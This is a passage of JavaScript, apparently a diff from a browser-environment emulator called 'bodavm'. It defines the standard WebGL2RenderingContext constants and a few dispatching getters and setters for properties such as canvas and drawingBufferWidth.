value:36063}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", {configurable:false, enumerable:true, writable:false, value:36065}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", {configurable:false, enumerable:true, writable:false, value:36066}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", {configurable:false, enumerable:true, writable:false, value:36067}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", {configurable:false, enumerable:true, writable:false, value:36068}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", {configurable:false, enumerable:true, writable:false, value:36069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", {configurable:false, enumerable:true, writable:false, value:36070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", {configurable:false, enumerable:true, writable:false, value:36071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", {configurable:false, enumerable:true, writable:false, value:36072}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", {configurable:false, enumerable:true, writable:false, value:36073}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", {configurable:false, enumerable:true, writable:false, value:36074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", {configurable:false, enumerable:true, writable:false, value:36075}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", {configurable:false, enumerable:true, writable:false, value:36076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", {configurable:false, enumerable:true, writable:false, value:36077}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", {configurable:false, enumerable:true, writable:false, value:36078}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", {configurable:false, enumerable:true, writable:false, value:36079}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", {configurable:false, enumerable:true, writable:false, value:36182}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36183}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", {configurable:false, enumerable:true, writable:false, value:5131}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", {configurable:false, enumerable:true, writable:false, value:33319}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", {configurable:false, enumerable:true, writable:false, value:33320}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", {configurable:false, enumerable:true, writable:false, value:33321}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", {configurable:false, enumerable:true, writable:false, value:33323}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", {configurable:false, enumerable:true, writable:false, value:33325}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", {configurable:false, enumerable:true, writable:false, value:33326}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", {configurable:false, enumerable:true, writable:false, value:33327}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", {configurable:false, enumerable:true, writable:false, value:33328}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", {configurable:false, enumerable:true, writable:false, value:33329}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", {configurable:false, enumerable:true, writable:false, value:33330}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", {configurable:false, enumerable:true, writable:false, value:33331}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", {configurable:false, enumerable:true, writable:false, value:33332}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", {configurable:false, enumerable:true, writable:false, value:33333}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", {configurable:false, enumerable:true, writable:false, value:33334}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", {configurable:false, enumerable:true, writable:false, value:33335}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", {configurable:false, enumerable:true, writable:false, value:33336}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", {configurable:false, enumerable:true, writable:false, value:33337}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", {configurable:false, enumerable:true, writable:false, value:33338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", {configurable:false, enumerable:true, writable:false, value:33339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", {configurable:false, enumerable:true, writable:false, value:33340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", {configurable:false, enumerable:true, writable:false, value:34229}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", {configurable:false, enumerable:true, writable:false, value:36756}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", {configurable:false, enumerable:true, writable:false, value:36757}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", {configurable:false, enumerable:true, writable:false, value:36758}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", {configurable:false, enumerable:true, writable:false, value:36759}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:36764}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:36662}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", {configurable:false, enumerable:true, writable:false, value:36663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36662}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", {configurable:false, enumerable:true, writable:false, value:35345}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35368}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35369}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35370}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35371}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35373}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35374}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", {configurable:false, enumerable:true, writable:false, value:35375}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", {configurable:false, enumerable:true, writable:false, value:35376}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35377}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35379}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:35380}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35382}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", {configurable:false, enumerable:true, writable:false, value:35383}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", {configurable:false, enumerable:true, writable:false, value:35384}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", {configurable:false, enumerable:true, writable:false, value:35386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", {configurable:false, enumerable:true, writable:false, value:35387}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:35388}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", {configurable:false, enumerable:true, writable:false, value:35389}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", {configurable:false, enumerable:true, writable:false, value:35390}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", {configurable:false, enumerable:true, writable:false, value:35391}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", {configurable:false, enumerable:true, writable:false, value:35392}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35394}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", {configurable:false, enumerable:true, writable:false, value:35395}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35396}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35398}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", {configurable:false, enumerable:true, writable:false, value:4294967295}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37154}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37157}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", {configurable:false, enumerable:true, writable:false, value:37137}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:37138}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", {configurable:false, enumerable:true, writable:false, value:37139}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", {configurable:false, enumerable:true, writable:false, value:37140}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", {configurable:false, enumerable:true, writable:false, value:37141}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", {configurable:false, enumerable:true, writable:false, value:37142}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", {configurable:false, enumerable:true, writable:false, value:37143}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", {configurable:false, enumerable:true, writable:false, value:37144}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", {configurable:false, enumerable:true, writable:false, value:37145}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", {configurable:false, enumerable:true, writable:false, value:37146}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", {configurable:false, enumerable:true, writable:false, value:37147}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", {configurable:false, enumerable:true, writable:false, value:37148}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", {configurable:false, enumerable:true, writable:false, value:37149}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", {configurable:false, enumerable:true, writable:false, value:35070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", {configurable:false, enumerable:true, writable:false, value:35887}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", {configurable:false, enumerable:true, writable:false, value:36202}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", {configurable:false, enumerable:true, writable:false, value:35097}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", {configurable:false, enumerable:true, writable:false, value:36975}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:36255}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", {configurable:false, enumerable:true, writable:false, value:36386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", {configurable:false, enumerable:true, writable:false, value:36387}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", {configurable:false, enumerable:true, writable:false, value:36388}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", {configurable:false, enumerable:true, writable:false, value:36389}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", {configurable:false, enumerable:true, writable:false, value:37167}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", {configurable:false, enumerable:true, writable:false, value:36203}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", {configurable:false, enumerable:true, writable:false, value:33503}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", {configurable:false, enumerable:true, writable:false, value:-1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37447}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferWidth", {configurable:true, enumerable:true, get:function drawingBufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferHeight", {configurable:true, enumerable:true, get:function drawingBufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferColorSpace", {configurable:true, enumerable:true, get:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_get", arguments)}, set:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "unpackColorSpace", {configurable:true, enumerable:true, get:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_get", arguments)}, set:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817},'prototype'); 